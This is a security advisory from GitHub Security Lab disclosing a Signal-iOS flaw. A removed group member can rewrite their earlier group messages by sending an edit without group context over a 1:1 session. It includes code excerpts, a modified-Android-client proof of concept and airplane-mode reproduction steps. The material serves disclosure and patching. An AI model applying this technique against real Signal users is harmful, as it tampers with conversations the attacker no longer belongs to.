Coordinated Disclosure Timeline

Summary

A vulnerability in Signal-iOS versions >= v6.28 allows removed group members to bypass edit-message thread-scoping restrictions, enabling them to modify previously sent group messages.

Project

Signal-iOS

Tested Version

8.6

Details

Edit-message thread-scope bypass allows removed group members to modify prior group messages (GHSL-2026-105)

Signal’s edit-message handler resolves the target purely by (timestamp, authorAci) and never compares the resolved target’s thread against the thread the envelope was routed to. The group-membership gate that protects group writes is therefore bypassable by simply omitting the groupV2 context from the edit envelope.

Step 1 — Routing: omitting groupV2 skips the membership gate

Edit envelopes are dispatched at MessageReceiver.swift:220 and reach handleIncomingEnvelope(request:editMessage:), which immediately calls preprocessDataMessage to derive the routing thread:

SignalServiceKit/Messages/MessageReceiver.swift#L2167

guard let thread = preprocessDataMessage(dataMessage, envelope: decryptedEnvelope, tx: tx) else {
    Logger.warn("Missing edit message thread.")
    return .invalidEdit
}

preprocessDataMessage is the only place the group-membership check is enforced — but it is reached only when dataMessage.groupV2 is present. When the attacker omits groupV2, the function takes the very first branch and unconditionally returns a 1:1 contact thread:

SignalServiceKit/Messages/MessageReceiver.swift#L1022-L1070

private func preprocessDataMessage(
    _ dataMessage: SSKProtoDataMessage,
    envelope: DecryptedIncomingEnvelope,
    tx: DBWriteTransaction,
) -> TSThread? {
    guard let groupContext = dataMessage.groupV2 else {
        let contactAddress = SignalServiceAddress(envelope.sourceAci)
        return TSContactThread.getOrCreateThread(withContactAddress: contactAddress, transaction: tx)   // ← attacker lands here
    }
    ...
    guard groupModel.groupMembership.isFullMember(envelope.sourceAci) else {
        // We don't want to process group messages for non-members.
        Logger.info("Ignoring message from not in group user \(envelope.sourceAci)")
        return nil                                                                                       // ← never reached
    }
    ...
    return groupThread
}

The membership guard at L1060 is unreachable on this path. thread is now a TSContactThread for the attacker.

Step 2 — Target lookup: SQL has no thread filter

Eight lines later, the handler looks the target up by (timestamp, authorAci) only:

SignalServiceKit/Messages/MessageReceiver.swift#L2174-L2179

guard
    let targetMessage = DependenciesBridge.shared.editMessageStore.editTarget(
        timestamp: editMessage.targetSentTimestamp,
        authorAci: decryptedEnvelope.sourceAci,
        tx: tx,
    )

The underlying query has no threadId predicate:

SignalServiceKit/Messages/Edit/EditMessageStore.swift#L39-L46

let sql = """
SELECT *
FROM \(InteractionRecord.databaseTableName)
\(DEBUG_INDEXED_BY("Interaction_timestamp", or: "index_interactions_on_timestamp_sourceDeviceId_and_authorPhoneNumber"))
WHERE \(interactionColumn: .timestamp) = ?
AND \(interactionColumn: .authorUUID) IS ?
LIMIT 1
"""

The attacker authored the original message, so authorUUID matches. The query happily returns a row whose uniqueThreadId is the group thread, not the contact thread the envelope arrived on.

The result is wrapped using the target’s thread, not the routed thread:

SignalServiceKit/Messages/Edit/EditMessageStore.swift#L62-L71

case (let incomingMessage as TSIncomingMessage, let authorAci?):
    guard let thread = incomingMessage.thread(tx: tx) else {
        Logger.warn("No thread for message")
        return nil
    }
    return .incomingMessage(IncomingEditMessageWrapper(
        message: incomingMessage,
        thread: thread,            // ← Group G's thread
        authorAci: authorAci,
    ))

At this point two distinct values exist in scope — thread (the routed TSContactThread) and targetMessage.thread (the group TSGroupThread) — and they are never compared.

Step 3 — Validation: the only thread check is vacuous

handleMessageEdit (L2186-L2193) forwards both values into EditManagerImpl.processIncomingEditMessage, which calls checkForValidEdit:

SignalServiceKit/Messages/Edit/EditManagerImpl.swift#L383-L392

// If this is a group message, validate edit groupID matches the target
if let groupThread = thread as? TSGroupThread {
    guard
        let masterKey = editMessage.groupV2?.masterKey,
        let contextInfo = try? GroupV2ContextInfo.deriveFrom(masterKeyData: masterKey),
        contextInfo.groupId.serialize() == groupThread.groupModel.groupId
    else {
        throw OWSAssertionError("Edit message group does not match target message")
    }
}

This check fails to defend either case:

  1. thread is a TSContactThread (the attack path) — the cast to TSGroupThread fails, the body is skipped, no else branch exists, validation succeeds.
  2. thread is a TSGroupThread — the check compares the group ID derived from editMessage.groupV2 against groupThread.groupModel.groupId. But groupThread was itself derived by preprocessDataMessage from editMessage.groupV2 (L2167). It compares A vs A and never inspects editTarget.message.uniqueThreadId.

The 48-hour window check at L369-L372 (constant at L16) is the only effective constraint.

Step 4 — Write: in-place overwrite in the group thread

The clone builder uses self.thread from the wrapper — i.e. the group thread:

SignalServiceKit/Messages/Edit/EditMessageWrapper.swift#L137-L138

return TSIncomingMessageBuilder(
    thread: thread,            // ← IncomingEditMessageWrapper.thread == Group G

The original row is then overwritten in place:

SignalServiceKit/Messages/Edit/EditManagerImpl.swift#L285-L292

// Swap in the IDs from the original message, so we overwrite it.
editedMessage.replaceRowId(
    editTargetWrapper.message.sqliteRowId!,
    uniqueId: editTargetWrapper.message.uniqueId,
)
editedMessage.replaceSortId(editTargetWrapper.message.sortId)
editedMessage.anyOverwritingUpdate(transaction: tx)

The victim’s view of Group G now renders the attacker’s replacement body. Attribution remains the attacker’s and the “edited” badge is shown, but content has been written into a group conversation the attacker no longer has access to.

Attack scenario

  1. Alice is a full member of Group G with Victim. Alice sends message M at timestamp T.
  2. Alice is removed from Group G.
  3. Within 48 hours of T, Alice sends an EditMessage to Victim over the 1:1 Signal-Protocol session with:
    • targetSentTimestamp = T
    • dataMessage.groupV2 = nil
    • dataMessage.body = <new content>
  4. On Victim’s device: contact-thread routing → threadless target lookup finds M in Group G → group-cast check skipped → anyOverwritingUpdate rewrites M in place.

Proof of concept

The easiest way to reproduce the issue is to use a slightly modified Android client and an airplane-mode trick.

private Content createEditMessageContent(SignalServiceEditMessage editMessage) throws IOException {
    Content.Builder     container        = new Content.Builder();
    DataMessage.Builder dataMessage      = createDataMessage(editMessage.getDataMessage());


    // <<< PoC: strip group context to land in iOS contact-thread branch >>>
    dataMessage.groupV2(null);


    EditMessage.Builder editMessageProto = new EditMessage.Builder()
                                                          .dataMessage(dataMessage.build())
                                                          .targetSentTimestamp(editMessage.getTargetSentTimestamp());


    return enforceMaxContentSize(container.editMessage(editMessageProto.build()).build());
}

This patch forces every EditMessage you send to look like a 1:1 edit on the wire, regardless of which thread it actually came from. (Side effect: Android/Desktop recipients of the patched build’s edits will reject them via their working validGroup check — that’s fine, you only care about the iOS victim.)

Account Build
Alice (attacker) patched Signal-Android
Bob (victim) stock Signal-iOS
Carol (admin) stock anything
  1. Setup: All three in Group G. Alice sends a benign message in Group G.
  2. Stage the edit while still a member: put Alice’s device in airplane mode. From the group conversation UI, long-press the message → Edit → change the body. Tap send. The PushGroupSendJob is now queued in the JobManager, persisted to SQLite, with originalEditedMessage set.
  3. Carol removes Alice from Group G (Alice is offline, doesn’t receive the update yet).
  4. Take Alice off airplane mode. The pending PushGroupSendJob runs. groupSendEndorsements are now invalid → falls to legacyTargets. The patched createEditMessageContent strips groupV2. The edit is encrypted with the existing 1:1 Double Ratchet session and delivered to Bob.
  5. Observe on Bob’s iOS: the message body in Group G updates, with the “edited” indicator. Group membership shows Alice is no longer a member.

Why this appears unintended — asymmetry with the delete path

The remote-delete handler for the same author/same-message constraint scopes its lookup by thread, and the lookup helper enforces it explicitly:

SignalServiceKit/Messages/Interactions/TSMessage.swift#L447-L452

let threadUniqueId, let messageToDelete = InteractionFinder.findMessage(
    withTimestamp: sentAtTimestamp,
    threadId: threadUniqueId,
    author: SignalServiceAddress(authorAci),
    transaction: transaction,
)

SignalServiceKit/Storage/Database/Records/InteractionFinder.swift#L437

guard message.uniqueThreadId == threadId else { continue }

Called from MessageReceiver.swift:1134 with threadUniqueId: thread.uniqueId. A removed member sending a 1:1 delete for an old group message gets groupGThreadId ≠ contactThreadId → not found → .deletedMessageMissing. Delete is safe; edit is not.

The other Signal clients also enforce this check on the edit path:

iOS is the only client missing the comparison.

Impact

This issue lets a user write content into a group they have been removed from.

Similar issues, but with very low impact, were noticed in Poll-terminate and Poll-vote

Poll-terminate scope gap + wrong-thread info message

SignalServiceKit/Messages/Interactions/Polls/PollMessageManager.swift#L170-L196 uses the same threadless lookup. Because incomingMessageAuthor == terminateAuthor == sourceAci, an attacker can only terminate their own polls — yielding the same removed-member-via-1:1 bypass as Issue 1.

A consistency bug compounds this: MessageReceiver.swift#L1424-L1441 inserts the “Alice ended the poll” info message into the routed thread (the 1:1 contact thread on the attack path) while the poll itself — terminated in the group thread — receives no chat-visible end notice.

It allows a removed member to terminate their own poll.

CWEs

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent and verified by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-105 in any communication regarding this issue.